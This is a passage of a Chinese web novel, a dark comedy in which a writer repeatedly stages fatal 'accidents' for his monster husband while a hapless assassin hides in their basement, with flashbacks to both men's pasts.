等他们睡觉后,他就爬上去补充能量……餐桌上的两个人倒是很恩爱。 “亲爱的,你吃一口。” “啊——” “亲爱的,这个你尝一下。” “谢谢老公。” 两个人亲亲热热,一起在沙发上看电视,白唯还倒了酒来。电视终了,白唯吻了一下卢森的脑袋:“老公,家里拖了地,你等地干了再走动,我先上床睡觉了。” “好的老婆,我热两杯牛奶再上来。” 听到这里,裴杰勾起了嘴角。 这对夫妻的确很恩爱。但裴杰并不焦虑,因为他早就在牛奶里下好了安眠药粉末,药量足够让一头牛沉睡两整天。 如果这房屋里有毒/药就好了。难过的是,裴杰没有找到合适的毒药。 卢森在厨房里热完了牛奶,说了一句“楼梯台阶是不是还湿着”,一楼便再也没有他的动静。估摸着对方已经上楼,已经喝完了两杯牛奶,等到夜深人静的时候,裴杰再次从地下室里爬了出来。 这次,他不再是灰溜溜的老鼠,而是傲慢的杀手。 裴杰没急着活动。他到卧室的正下方听里面动静,里面一点动静也没有。他于是优哉游哉,拖着瘸腿,先拿了点茶几上的东西吃,还喝了一口摆在茶几上的红酒。 这红酒里怎么一股怪味……酒刚沾唇就被裴杰皱着眉头放下了。毕竟这酒卢森喝过,还很健康,他不觉得酒里有毒。大概就是酒的品质 第 25 章 救护车 《经常死老公的都知道》全本免费阅读 白唯靠在墙边,不住地哭泣。卢森有再多的疑惑和怀疑,也会被白唯如今的神态打消。 而且他们从床上起来得匆忙。白唯只穿了一件宽松的暗红色睡衣。丝绸领口大开着,露出一大片白皙的锁骨……卢森还记得它们的触感,和白唯紧张时,它们耸起的弧度。 在车/震事故后,白唯就再也不愿意和他做了。今天,借着十字/弩事故,正是和白唯再做一次的好时机……还好他为了不弄脏湿湿的台阶,是顺着楼梯扶手滑上去的,否则今晚他怎么能有这么好的口福? “亲爱的,我们收拾一下残局,就上去睡觉吧。”卢森说。虽然十字/弩是武器,这激发了他的怀疑,可他想到白唯只是个一门不出二门不迈的作家,他哪里知道武器是什么,大概只把它当做装饰品了。 他轻而易举,把那根箭从画上拔下来,却在箭尖看见了血的痕迹:“哦天哪……你快看……” “怎么了老公?” 白唯这声老公心甘情愿,泪眼莹莹,是为不得已而为之的善后。他凑到卢森身边,和他一起看那幅画。 “我们把这幅画从古董商店里带回来时,里面有一个人吗?” 画上红衣的女鬼已经被箭矢撕成了碎片,卢森便自然而然地认为箭头上的血是女鬼的血。白唯瞪大了眼,而后是痛心:“我的画!太可惜了!” 我的画!竟然这么有用,竟然真的有鬼,这画本可以克死老公的,这箭本可以射/死老公的,可是事情怎么会变成这样…… “哦不,我是说,天哪,老公……这幅画里竟然有一个红衣女鬼,你差点就被这幅画给克死了……不,画里怎么会有女鬼呢,这真是太可怕了……”卢森看过来后,白唯连忙找补。 事实上,卢森如今眼中只有白唯的脖/颈和白唯的长腿。在看见白唯湿红的眼角后,卢森舔了舔嘴唇——他又想起白唯翻着白眼、控制不了痉挛、任他为所欲为的模样了。白唯总喜欢忍着声音,只有那时他才会毫不克制地、发出在白日里他绝不可能发出的百转千回的声音。 十字/弩能失灵,真是太好了! “宝宝,别怕,女鬼已经死掉了,这是她的血。还好你的十字/弩失灵了。”卢森搂着白唯,颇具暗示性地揉着他的肩膀,“如果没有你在, 家里的安全要怎么保证啊?” 卢森没有把这件事放在心上,这让白唯稍微放心。他在心里指责自己乱了章法——十字/弩这种东西还是太明显了。它能瞒过卢森的眼睛,却不一定能瞒过警察的眼睛。都怪黑港城的那十天,都怪车上的那一场,它们让他大脑充血、理性过载、满脑子只有要证明卢森是会死的,为此他不惜直接动手。 他必须要冷静,要冷静,即使他被困在床上玩了几天几夜……就在这时他感觉到,卢森在摸他的大腿。 自杀不掉老公、画作报废后的又一大悲剧发生了。他回头,看见一双湛蓝双眼一眨也不眨地看着他。 “老公……” 用来让人放松警惕的“老公”两个字反而起了反作用。卢森用手捏了捏他紧实的大腿:“亲爱的,我们已经有一天没做了……” “可是……” “宝宝,你脖子上的痕迹都淡了。”卢森咬着他的衣领说,“让我看看你大腿上的……” 自那辆面包车后,一楼的琴房也成为了白唯的噩梦。两个人在翻滚中来到琴房里,白唯被按在琴上,十指在雪白琴键上抓来挠去,发出一首动听的节奏。 与此同时,裴杰在地下室里翻滚挣扎。 有毒!酒里有毒! 他扑到厕所里,抠喉狂吐不止……到底什么样的人家会在地下室里也装水龙头和马桶。他用水龙头里的水大量灌入自己的腹部,然后又吐出来,大量灌入,然后又吐出来。 这还不够! 钢琴室里的音乐声越发激烈,强弱交替,和地下室里的声响形成了相互共鸣的2/4拍。满身虚弱的裴杰从地下室里滚了出来。他痉挛爬着前往浴室,他要去浴室,浴室里有他需要的解毒剂! 这座普普通通的民居,会杀了他!这一刻裴杰终于承认! 医药箱砸在地上发出巨响的瞬间,裴杰闭上了眼,绝望等待二人赶来、自己被捕。可与此同时,更大、更震耳欲聋的声音响彻整座房屋! “咚!!” 整座房屋为之一振。隔壁超市老板家的灯光再度亮了起来。 “老公!”琴房里传来白唯气息不匀的声音,“你的脑袋!被砸在钢琴盖里了!” “老公!!” 到底是怎样的姿势 才能让自己老公的脑袋被掉下的钢琴盖砸住……第一杀手已经无暇去思考这个问题了。他吞下了整瓶解毒剂,在把肚子里的东西吐了个一干二净后,终于陷入了血条见底的重度昏迷。 那一刻,他告诉自己,这座民居实在是太可怕了。 等他醒来,他一定要逃出这里……但这次,这家的老公,应该终于被干掉了吧…… “咚咚咚!” “咚咚咚!” “你们家大半夜的到底在干什么!我的天啊!为什么大半夜的还能搞出这么大的动静!我有神经衰弱你知道吗!” 门外传来邻居的叫骂声。白唯双腿光/裸,坐在卢森的身上。他一片狼藉,手却紧紧放在自己的胸前。 他的手里,握着钢琴盖的支撑螺丝。 终于……终于……白唯的心脏扑通扑通跳个不停。那一刻他的心情不只是欣喜。这其中只有20%来自于卢森头卡在钢琴盖下的死状。 其中80%都来自于,他终于又制造了一次意外死亡! 他终于,克服了一切多余情感,重回了自己制造/意外死亡的本质! 白唯好开心。他从来没有觉得自己的老公的身体有这么美丽过。很快他就会获得卢森的死亡赔偿金,摆脱这段被欺骗的、和僵尸的婚姻,开始新的生活……卢森肯定是死了吧?肯定不是埋在钢琴里面,思考要怎么编造自己还活着的证据,害怕被他发现还活着吧? 他缓缓把自己的身体拔起来,腿抖得差点站不住。混乱的生活,虚假的卢森,死而复生的僵尸,黑港的大半个月,终于回归平静。只有门外的超市老板的叫骂声,还在响彻。 白唯就在此刻,跪在了钢琴凳旁。他捂着脸,开始哭泣。 “老公……我的老公……” “老公!你怎么死了呀!” 他的哭声由小至大,震耳欲聋,终于门外敲门的超市老板的手也开始犹豫。他在门外颤巍巍地说:“发生了什么?” “等等,可千万别死人啊,要是有人死了,这个社区的房价会跌的啊!” “你、你别哭得这么大声啊!要是把警察惹过来怎么办?你让我进去,我们商量一下……” 可惜裴杰已经昏倒在自己的呕吐物里了。否则他一定会爬起来,怒骂这个社 区的人都是癫子。白唯万万没想到自己家左边的邻居能够这么现实主义、这么癫。他犹豫了一下,思考自己要不要哭得再力透纸背一点,穿过自家右边的联排别墅,好把正直的法官老先生也惹过来当目击者。 < 第 26 章 记录 《经常死老公的都知道》全本免费阅读 一沓陈旧的病历。 他自己的病历,很久之前的病历……怎么还有白唯的病历? 病历单上的日期是十年前。 显然,白唯来得匆忙。他把卢森的病历混在一起,拿了个旧袋子装,却忘了里面还有他自己的病历。 他们身在雪山镇唯一一家医院。白唯缴费需要时间,在他的千叮咛万嘱咐下,护士们给卢森换了个专门的隔间静坐,进行观察。 “高学历,长得漂亮,身材好,还这么爱你,半夜送你来医院,花这么多钱给你做检查……你真是太幸运了,竟然能拥有这样完美的老婆。”清洁工一边打理地板,一边对他如是说。 卢森在收拾那些乱成一团的病例,把它们按照时间顺序放好。是啊,白唯的确是完美的。他可是他一眼选定的千挑万选。看着手下那些属于他自己的病历,卢森想起了他和白唯在北都相识的从前,这让他暂时没有想今天晚上的异常。 扮作“卢森”,在北都生活很艰难。卢森很少提到,在初来人类世界时,他在一片海港上岸。海港通往的国度陷入了长达三十余年的战争。在那个世界里,没有生活,只有生存,没有文明,只有残暴。 他在那里睁开了观察世界的第一双眼,扮作一个人类孩子,混入了车辆之间。他选择拟态这个孩子的理由很简单。他看见即使在废墟之中,这个孩子也被他的父母紧紧拥抱着。 那一刻,灼烧在他心中的第一种感情,叫“饥饿”。 卢森尚未意识到自己对于这世界而言意味着什么,世界于他而言意味着什么,可他首先学到了贫穷和饥饿。因为贫穷和饥饿,所以迷茫,所以想要得到。他看见人类的孩子拥有父母的拥抱,所以他想他也需要。 他被这对父母尖叫着赶走,破碎的碗碟在他额角留下刺伤的痕迹。他们抱着那个和卢森长得一模一样的孩子,眼睛看着他,充满了愤怒与恐惧。那一刻,卢森的胸膛被第二种火烧般的情感填满了。很久之后,他才明白那种感觉,叫贪婪和嫉妒。 或许,还有被他们当成怪物,继续殴打的恐惧。 但那对像是凛然不可侵犯的父母,在瞬间便被一枚投下的导弹炸成了飞灰。与此同时被炸得粉碎的还有卢森的第一个拟态。那一刻,卢森呈流体状摊在战场上, 他看着血色残阳,发现方才那种灼烧般的情感停止了。 取而代之的,是卢森体会到的第三种情感,荒芜。 这世上有比那对父母更凛然、更不可侵犯的东西。那种能将他这种怪物也拒之门外的无形障壁也能被炮弹炸得粉碎。卢森在无边无际的荒原里走了很久,一次次凝聚自己的形态,当他走出这片荒原时,他已经凝聚成为了一个成年男子。在这场荒原旅途中,他学会了使用炸毁那对父母的那种强大的武器和力量,他也学会了人们常用的、用来对抗饥饿和贪婪的方式。 抢夺。 他成为了一名雇佣兵,加入了一座佣兵团。他们偶尔会把一座城市作为自己的据点,在那里没有完美,只有残缺。有人说城市里曾有家漂亮的图书馆,城市里曾有座精致的咖啡厅,在花园背后的小房子里,住着一对恩爱的夫妻……卢森看见的只有断壁残垣,和那些烧焦的墙面上,其他暴徒留下的,一串弹孔或一滩尿液的痕迹。 “这片墙会记住我们,这座城市也会记住我们。”卢森听见那些暴徒嘎嘎地笑着,“瞧瞧,这是这座城市有几百年历史的情人墙!老子的弹孔将在上面永垂不朽!” “我们会给这个世界留下自己的痕迹!” 卢森会跟着一座兵团迁徙。他所见的一切都是残缺留痕的……就连诗集也是。后来,他在一片墙上看见了据说是那名诗人自杀前留下的文字。 “万物如烟沙,唯有战争永存。” 卢森曾无数次地路过这些残缺与痕迹。可最终他看见残缺消失、痕迹消失,就连他们佣兵团的名字也在本应出现在的合同上消失。他们成为了混战中的弃子,而后卢森单干,也被旧友出卖——很可惜,他本以为那个笑眯眯的老头可以是他的朋友的。 “你永远是个没有家的怪物,这个世界上没有你的位置,你所拥有的一切都将离你远去。”那个老头在临死前声嘶力竭地这样对他说。 卢森记得杀光他全家,而后顶着他的保镖们的枪林弹雨跳进海里,狂游数千海里。他心想这个老头的诅咒真奇怪,他居然会觉得家很重要,还会觉得卢森会害怕拥有的一切离他远去——像卢森这样的佣兵,能抢到一切他想要抢到的东西。他不抢,只能说明那时他还不饿。 但老头说得对。他是 时候去休息一阵,到和平的地方去生活,去拥有一个属于他自己的合法位置了。 卢森是怀着这样的心情在北都登陆的。在到达北都后,他被那座完美、完整的城市所吸引。这里的图书馆尖顶俱全,这里的咖啡馆干净整洁,这里的音乐厅没有被炸弹砸过。他几乎立刻就想要在这个城市里拥有自己的位置——不仅是房子,还有社会里的位置。他饿得要命,但这对于一个外乡人来说,并不容易,而且“卢森”的家也只是一个空架子。 还好,他遇见了白唯。在看见对方的第一刻卢森就知道,他就是自己想要找的人。 其实,卢森已经说不清,那时究竟是白唯本人更吸引他,还是白唯的家庭更吸引他。白唯拥有一切他没有的东西——在窗明几净的教室里上学的经历,无论在哪里都恪守的古老礼仪,对于图书馆、音乐厅和美术展的爱好,对解剖学和动物学的洞见,还有完美的外表、优雅的性格——这让卢森第一次考虑人也可以作为一种收藏品。 而且,白唯在青禾的家世也很吸引他,只要能入赘白家,他就是下一个白家家主。等到那时,他就可以稳定地融入这个他不怎么适应的社会。 但收藏白唯是很有难度的。卢森知道相亲并不意味着白唯会嫁给他。他需要和他保持持之以恒的联系。可这将是十分费力气的。白唯看过的书,卢森大多数没有看过。白唯欣赏的画家,卢森连他们的名字也记不住。白唯在舞台剧后台和导演侃侃而谈,卢森只能记得自己好像炸过一个类似的。每次出发前的做功课,都要废掉卢森的几个脑子。 好在,他很快发现了他们之间的一个简单的共同爱好——受伤。 初入人类文明社会,卢森决定做文明人。他几乎完美地模拟了以“卢森”兄妹为代表的人类生命特征。这导致他经常受伤。 比如喝下半个过期的椰子,比如走过正在倒车的车,被车轮压过去。比如切黄瓜时会切到自己的手指。 但每次受伤后,白唯都会来看望他。他会坐在卢森的病床头,给他带一束洁白的花。卢森觉得自己和白唯的感情是在这样大大小小的探望中获得升华的。这时他们不会再谈文学和艺术,只会谈论卢森濒死时的感受。白唯会感叹,说卢森看起来真是很容易就会死掉。 卢森觉得, 既然人类将共同话题称为共同爱好,那么卢森的受伤和死掉,何尝不是白唯和他的共同爱好。 而且让他颇感高兴的是,这些意外事故多半是意外,只有少许是卢森有意而为。无他,卢森对人类社会实在是太不熟悉了。这种不需要故意努力就能自然发生的共同爱好,让卢森觉得更加轻松了。 而且白唯看望、照顾他的模样非常温柔。那时卢森看着他的侧脸心想,这也是一个完美妻子该有的品质。白唯的确是个完美的收藏品。 卢森一页一页地整理自己的病历。从楼梯上掉下去、食物中毒、被车撞、被电梯门夹、被高空抛物砸中、火灾……每一页,都让他露出了幸福的笑意,让他想起了那时候和白唯的点点滴滴。 谁能想到,当初只是为了和白唯结婚经历过的事情,如今却给他带来了这样的快乐。当初,他只是觉得白唯带果盆很有礼节,送花很有品味,探望他的动作很优雅。可如今想来,白唯抚摸他氧气管的手指纤细,看向他心电图的笑意专注,凝视他伤口咬住的嘴角红润……每一个和白唯情绪有关的细节,都历历在目。 第 27 章 黑历史 《经常死老公的都知道》全本免费阅读 "好的,没问题……这些是所有检查单,我把检查列表和检查室的位置写在这张纸上,你按照这个顺序一个个走完。"白唯用左手把单子递给卢森,却将右手藏在背后。他对卢森说:“你没听见我说话吗?” “哦,好的,没问题,我这就去。”卢森说。 卢森看起来心不在焉的——尽管他的回答和平时没什么区别,也很快地拿着单子去做检查。可他走路的样子像是心思都游离到了另一个地方,好像他的心此刻不在这家小镇医院,而在另一家医院的走廊里。 白唯比他想象中更细心地注意到了卢森的情绪,他将此归结于自己高超的观察能力。 卢森怎么了?难道是发现他在杀他了?警戒的红灯在白唯心中闪烁不停。他对着卢森的背影喊道:“老公,你检查完后早点回来呀。” 卢森只是“嗯”了一声。白唯站在原地,脸色瞬间变得阴郁,一种惴惴的感觉抓住了他的心脏。 走廊空荡荡的,长椅也空荡荡的。这里终于只剩白唯一个人了。他舒了一口气,坐下喝了一口水。拧开瓶盖的右手被指甲抠挖得伤痕累累,十分清晰。 如果祖父在,一定又会让管家斥责自己的这个在紧张时常犯的坏习惯。白唯想。还好,他现在已经结婚了,不在过去的那个家庭里了。如今他需要担心的,只有新家庭里的问题—— 卢森的健康检查,不会完全没有问题吧! “……嗯?” 白唯忽然发现,被他匆忙中拿出来的档案袋,比他想象中好像要厚很多……白唯拆开档案袋检查,从里面发现了一沓陈旧的记录。他怔了一下,旋即脸色变得惨白。 他慌张地翻阅所有档案,发现档案的顺序经过了整理。白唯就在那一刻过呼吸了。他头晕目眩,手指不自觉地抽搐着,牙齿也咬得咯咯作响。 ——完了,都完了。他想。 他最不能让人目睹的过往与把柄,被卢森看见了。 …… “你刚才给他送东西时,碰到他的手了啊?” “怎么了?你们这副表情……” “你不知道吗?外面都传开了啊,那个小孩在他妈死后和他妈的尸体一起住了半个月。黑港城夏天的半个月啊……尸体都臭了一周多了,邻居报警,警 察都上门过两次了,他还和警察说没事。他出门买东西做菜自己吃饭睡觉,像个没事人似的。” “很恐怖,跟个怪胎似的。小小年纪就学会撒谎。” “这是最不重口的了。他还每天擦洗他妈的尸体,你知道吗,就用他的那双手……” “我觉得他的手上有股味道,你们也闻到了吧?听说尸臭味是会渗进骨头缝里的。” “好恶心啊!你们不要说了!” 而后是响亮的放水声和洗手声。白唯坐在小房间里,手里捏着那个没有拆封的面包。 其实那个人也没有碰到他的手,其实他的手上明明没有味道,可就算有味道…… 他将苍白的五指撑开,狠狠地让手伸展成一只扭曲的蜘蛛,去嗅指缝里的气息。他恶狠狠地,像是小野兽在扑食。 可是就算有味道,有那样的味道渗进骨头缝里,可那不是他妈妈的味道吗?尸体在他们的口中是恶心的,尸臭的味道是令人厌恶的,可那是他妈妈的味道,难道他的妈妈也是恶心的吗? 他和他妈妈共同生活的那个小房间,有着风铃声音和风扇叶片声的小房间,也是肮脏不堪的吗? “园长说今天会有人来接他,是真的假的?” “再让他留在这里我真的受不了。感觉毛骨悚然的。” “你们不要说了,我刚刚把东西拿给他,碰到了他的手,他的手像死人一样,又像冻掉的死猪肉,好恶心好恶心……” 那个人明明没有碰到他的手,可他为了吸引话题,像是真的触碰到了白唯的手一样,绘声绘色地描述白唯的手的触感。白唯还在嗅他的指缝,忽然,他发现自己的指缝有些湿润,直到这时他才发现自己在哭。 就在这时,小房间的门打开了。 一道人影落在白唯的身上。他很高大,足以把白唯整个人都笼罩在令人安心的阴影里。 白唯抬头,呆呆地看着他。 这是他第一次看见他的祖父,他母亲的父亲。这名老人高大、严肃,脸上的每一条沟壑都镶嵌着顽固的礼仪,挺直的身影让人看不出来他是一个瘸子。他拄着手杖,在看清白唯的脸后,他的喉结滚动了一下,又滚动了一下,像是他所有的感情,都被他强行压制在了这两次滚动里。 白唯想 ,那是因为所有人都说,他长得很像他的母亲。 趾高气昂的园长此刻讪笑着,跟在这个老人身边。在小门后,是老人西装革履的两名保镖。从未有过的强大的权力降临在了这座小房间里,老人苍老的眼睛就在这一刻,看在白唯的脸上。 “白唯!”老人准确无误地叫出了他的名字,威严地说,“站起来!抬起头,你是白家的绅士!” 他没有对白唯说第二句话,只是顽固地看着他。那种眼神有一种苍鹰般的压迫感,白唯将两只脚放在地上,将那只被揉碎的小面包夹在手心里……慢慢地站了起来,跟在了老人的身后。 园长讪笑着跟在他们身边:“我会严肃处理那些传播谣言的工作人员……” 就像是狮子走过被巡视的羊群,灰扑扑的教室里,一切都被分成了两个世界。那些平时说话的、讥笑的成年人或未成年人,此刻小心地低着头,缩在靠近墙壁的两边,像是一群鹌鹑。老人目不斜视地走在教室中心,如摩西分海。 白唯跟在老人身后的阴影里。那一刻,他忽然意识到老人的这种威严是一种很伟大的东西,是在他出生后的人生里第一次出现的、有秩序性的、足以颠覆一切修正一切的力量。白唯因此有了新的家,肆意评价的工作人员应当被处理。这股力量如此强大地庇护着他,那一刻,黑港城里他和母亲共同居住的房间变得干净,所有的嘈杂声也消失。 他站在祖父的身后,仰着头,等待他办完所有手续,尽管他的肩膀在发抖。老人对他不发一言,直到上车后,他才说:“你是白雎的孩子。” 老人在后视镜里看着他的眼睛,那种恍惚了一瞬的眼神又变得威严起来。 而后,他忽然说:“你是白家的孩子。” 此后他们一路无话。汽车带白唯驶向未知。尽管他的手心已经出汗,面包被捏碎,糖和油黏黏地粘在手里化开。他不敢张开手,尽管这并不舒服。 他在进入机场前偷偷地将它丢掉。那一刻,他觉得自己在做贼。 他们乘坐汽车,乘坐飞机,白唯始终死死地攥紧自己的手心。在到达白家后,老人拄着拐杖。他昂首挺胸地走过有喷泉的大花园,进入挂满家族成员画像的大厅。这里没有旁人的议论,也没有小屋风铃晃动的声音。他背对着白唯说: “从今天起,你要记住,你是白家的后代。” 白唯仰头看着那些画像,可以看出白家祖上出过许多大官。画上的男人们神色肃穆。到了属于他身边的老人的画像后,是一张空白的画像。 “那幅空着的画像曾是属于白雎的。可惜,她做了错事。”老人手放在拐杖上,“让管家带你去你的房间。之后我会请医生对你做测试,生理医生和心理医生,确保你恢复健康。” 他摆摆手,让管家带白唯退下。老人始终背对白唯,那一天白唯没机会看见老人的正脸。他猜测老人一定和他的话语一样威严,反正绝对不可能是在流泪。 管家带他到一个能看见紫藤花的房间里。房间柜子上有轮船模型,书桌上甚至还摆着一册军事书,书被翻开了一半,像是主人离开后就从来没有动过。管家让白唯在这里住下,他有礼地询问:“少爷有什么问题吗?” “这个房间是……” “这里曾经是少爷母亲的房间。少爷的母亲白雎是老爷唯一的孩子,也是他的骄傲。”管家说,“进入海军学院曾是老爷和少爷的母亲的共同梦想。请少爷不要弄坏这些模型。” 外人口中的“腐烂尸体”,是这座宅子里的骄傲。白唯在那一刻,有了这样的想法。 这一切,都是这座宅子里的秩序规则才能带来的。 白唯在这座房间里度过了他人生的接下来十数年,没有改变过房间里的一点陈设。在那之前,他告诉自己,他一定要成为合格的白家后代。他经历了白家心理医生长达数年的治疗,经历了他们的数次“失望”,他改掉了自己的各种毛病,终于让自己成为了完美的化身。 终于,他被治愈了。夜晚躺在床上时,他不会再感到痛苦,而是感到平静。那些充满瑕疵的、出格的过去也被埋葬在了这些病历里。即使是他的“竹马”李愿,也不知道他的童年过去。 可现在,它们全被卢森看见了。 而且卢森不是一个合格的白家人,又或是李愿那样遵守世家规则的人。他一定不会和他一样,拥有那种出于白家礼仪的认可与世界观。他不会无视这些事,他也不会保持沉默,因为卢森自己就是一个乱七八糟的人! 像是胃里的磁铁拉着他,让他重重地坐在了椅子上。白唯感到眼前发黑,因为 他惧怕卢森会和他谈这些事,就像卢森不知死活地和他谈那顿乱炖晚饭一样! “或许我得……” 思虑转换之间,白唯已经快走到了医院的电梯里。比起被卢森发现他在谋杀他,他更不能接受卢森发现他的过去和他谈心,就像他比卢森矮了一头,这让他跑得比鬼还快。就在按下按钮的那一刻,白唯眼神一凝,看见了自己的袖口。 几滴新鲜的血迹赫然显示在布料上。 “怎么了?怎么不按楼层?”有不耐烦的人在他背后嘀咕,自己伸手按了按键,“神神叨叨的……” “你小声点,说不定人家家里刚出了事。”又有人戳了那个人一下。 白唯无心去听那些人的话。他下了电梯,却只站在大厅里,没有再往外走。路过的人只看见这个高个美人正看着自己的袖口,表情时而阴郁得如大风刮过,时而癫狂得如岩浆喷发…… 很快,更令人瞠目结舌的是,高个美人竟然夹着档案袋,以一种癫狂的速度跑进了厕所。 并开始洗脸。 “该死的卢森,该死的卢森! 第 28 章 十分狼狈 《经常死老公的都知道》全本免费阅读 “嗒。” 白唯的耳朵敏感地动了动。 有人停在了洗手间门口。但他没有推开门,也没有叫人,像是在思考……白唯一开始以为这个人是靠在厕所门口玩手机(但究竟谁会靠在厕所门上玩手机,脏死了),但很快,他的寒毛就竖了起来。 因为一直在吵闹的手机,不再播放铃声了。 和手机屏幕同时暗下去的还有白唯的心。他站在被铺天盖地的白色瓷砖包围的洗手间内,卢森站在洗手间唯一的出口之外,和他之间只隔着薄薄的一层门。 门板太薄,他毫不怀疑卢森甚至能听见他的紧张的呼吸声。而他,听不到卢森的……白唯凑近门板去听,发现的确听不见。 门板外就像死了一样寂静。可白唯知道,他的怪物老公就在门板之外。 白唯小心翼翼地从门板上撤退,然后像背后有黄瓜的猫一样跳了起来。洗手间的窗户被铁栏杆钉死了,厕所最后一个隔间里除了清洁工打扫的工具外没有别的东西。 他白白折腾了半天倒数第二个隔间里的人还上完厕所出来了,正在洗手台前一脸奇怪的看着他。 “你怎么了?”那个人说。 门外就在此刻,传来了叩门声。 路人更加莫名其妙了。他看了一眼空空荡荡的洗手间,又看了一眼白唯,由于厕所没什么好排队的,他只能得出一个结论:“你女朋友在外面等你?” 不是女朋友!是一个死不掉的、阴魂不散的、干过他的、还能改变所有人的认知的形状未知的怪物! 可面对路人和门外的卢森,白唯只能勉强地对路人笑笑:“不是,是……呃……朋友。” 路人:“哦,那你赶紧出去,别让人家等急了。” 他甩甩手上的水,拉开厕所门。然后,他就发出了一声大叫。 “卧槽!卧槽!” “卧槽,你直挺挺地站在门背后干什么,吓死人了!不是你有病吧?” 卢森像是个棺材板一样直挺挺地站在门背后,两眼也正直挺挺地看着门板,简直像个恐怖故事里的人形展板。路人发出杀猪一样的嚎叫,他捂着胸口刚想再骂,就听见卢森说:“老婆。” ?? “老婆……?”路人迟疑。 “老 公。”另一个声音从他背后幽幽地飘了出来。路人回头,发现白唯正面无表情地直挺挺地跟在他身后。 看起来是要去上坟一样。 “卧槽啊!!” “哎呀不是你也有病吧?什么老公?朋友?你们两个都有病吧?” 路人尖叫着,连滚带爬地走了。所有人的目光都聚集到了这里,卢森看着路人的背影,若有所思道:“他为什么说我们是神经病?我们刚才做的不正确吗?” “没什么不对。”白唯看着他,对他艰难地笑了一下。 虽然看不见自己的脸,但白唯觉得自己笑得一定比哭还难看。他发现身边这个人不仅是个怪物,还是个弱智。放在过去,白唯一定会对卢森刚才堵在门口的无礼无常识、连累他被众人注视感到生气。但现在,白唯想到卢森是一只怪物,那他当个人类世界里的弱智也是应当的。 ……等等,他难道不应该继续为卢森是怪物的事实感到害怕吗!怎么他突然就生气上了,无语上了,还原谅上了! 白唯的表情一下子就变得有点扭曲了,他想把卢森从台阶上推下去证明一下自己。但更多的人都看了过来,甚至还有疑惑的保安走了过来。他只能扯了扯卢森的衣袖,压低了嗓子说:“我们快走吧。” “哦哦不好意思。我只是突然发现,我对我们人类世界的很多事情,还是不太明白。”卢森又冒出了一句让白唯很意外的话,“我以为我理解了很多。但现在,我发现我好像什么都不清楚。” 白唯埋着头,用力扯着卢森一路小跑到无人的楼梯间。但等放开卢森的袖子时,他抬头才发现,在他为躲避众人目光,低着头狂走时,卢森那双湛蓝的眼睛一直在看着他。 他的心又揪紧了。他以为卢森会说点“你刚才的反应是因为,我害你丢脸了吗?”这样的话。可卢森只是注视着他。 卢森忽然拍了拍他的头。白唯被吓了一跳,扬起脑袋看向卢森时,他发现他的眼睛像是海水一样广阔。 “……你在干什么?有什么事吗?”白唯说。 卢森沉默了一下:“……好像也没什么事。” 白唯:…… 他继续向前走,却没有看到卢森正有点意外地看着自己的手。好像他自己也不知道自己为什么要这么做 似的。 白唯越走,越觉得头皮发麻。卢森像个幽灵一样跟在他身后。他不像平时那样满口亲爱的,也不扯一些闲事。上升的楼梯让白唯心里越来越不安了,他决定说点什么来打破寂静。 “你报告取了吗?”他说。 “没有,但是马上就要出来了。”卢森说。 白唯:“哦,那我们去取吧。” 这一路上头皮发麻,检查报告自然也没什么好结果……虽然医生喜气洋洋。她用一种慈爱的眼神看着白唯,而后对他说:“恭喜你。” 白唯以为她的下一句是“你老公癌症晚期了”。 “你老公非常健康!” “对,对,所有的指标都很正常。现在的小年轻啊,这么关心恩爱啊,啧啧啧……” “异于常人?只能说是健康得异于常人,哈哈哈。这年头这么好的身体可不多见了!” “住院?怎么会需要住院,这不是一点事都没有嘛。哎呀,要是住院了可不就害到你们新婚的小夫夫了,到时候度日如年啊……” 最后医生反而有点疑惑了。她发现白唯的表情越来越凝重,好像卢森的健康让他并没有那么开心似的。终于,白唯脸色苍白地提出了最后一个问题:“但我还是有些不放心……医生你说他这段时间是不是还是静养一下比较好?多卧床休息,比如,一些剧烈运动,房事就禁止……” 医生:“嘻嘻,原来是想问这个啊。哎呀你们小年轻,自己忍不住还要找那么多沾边的问题就是不问到正轨上。那我就直说了——” “非常健康!” “完全可以继续!” “没有静养的必要!” 白唯:…… 医生:“我还没见过你们这样的,怎么回事啊,身体好还不高兴?” 白唯不高兴是正常的,谁发现自己阴魂不散的死鬼老公其实是个超能力怪物还能高兴得起来。但卢森也不高兴这点让他心里十分不悦。很显然,他觉得卢森是在介意他的黑历史。 两人又从楼梯间下去。白唯跟在卢森身后,看着幽暗的楼梯间,忽然很有一种要把卢森推下去的冲动。虽然他觉得卢森没有这样简单就能死,但至少他觉得,只有断腿才能配得上卢森此刻不高兴的脸。 ——罢了 ,没有必要。这里到处都是监控,做这些无异于无用功。 白唯忽然觉得很累,也很不愉快。路过三楼时,白唯听见一阵撕心裂肺的哭声。他侧过脸看了看,发现一个小孩在打针时将身一扭,从护士手底下逃了出来。她的家长正在左抓右抓,想把她逮回去。 她的家长看起来是个三十多岁的女人。女人尚在壮年,脸上却已经满是黑眼圈和黄褐色的斑纹。她穿了一件红色的卫衣,套着一条紫色的裤子,很明显,她是大半夜从床上爬起来,在慌忙之中随便套了两件衣服来医院的。那件红色的卫衣上甚至还有很明显的、发黄的奶渍。她左手牵着另一个小孩,喘着粗气,跟着逃跑的小孩跑来跑去。 “回来!你给我回来!王言敬!” “我不,我不要打针!”小孩嚎啕大哭着,却很灵巧。他以幼小的身体在楼道里自在地穿梭,钻过每个大人的腿弯和每个狭小的转角。 追逐声,吵闹声,其他孩子的哭声……卢森见白唯盯着这边看,他说:“我听说儿科病房一直都很吵闹。” 白唯:“嗯,而且一般都很脏……” 他话音未落,那个孩子已经发现了这道安全门,哭喊着向着楼梯间奔来,可他没注意到脚下有层层楼梯。眼看着孩子就要摔下,卢森刚意识到自己应该伸手,却发现白唯的速度比他更快。 白唯扑过去,伸出手,紧紧地抓住了孩子。 这一下一歪,他们一起摔到了地上——还好是在平台上,没有从楼梯上滚下去。白唯落在下面,当了孩子的肉垫。 “……” 卢森看见白唯紧皱着眉头。他伸手要去拉白唯。可白唯却伸出没有垫在身下的那只手,指了指身上的孩子。 “你把他……拉起来。”他说。 他的声音很稳,任是谁也不会觉得这是从牙缝里发出来的声音。 小孩只是有点晕。他看见卢森把他拉起来,又看见自己的妈妈出现在楼梯间门前,还牵着自己的妹妹,就像是追捕者又来了。 卢森拉着他的手,要把他交给他的妈妈,眼睛却一直看着白唯那边:“太太,你的孩子……” 小孩却觉得自己仿佛找到靠山一样。他躲在这个陌生的男人背后,好像他的妈妈才是他的仇人:“我不要打针!妈妈 坏,叔叔我不要打针!” 这让卢森可有点不知所措了。他说:“太太,我先过去……” 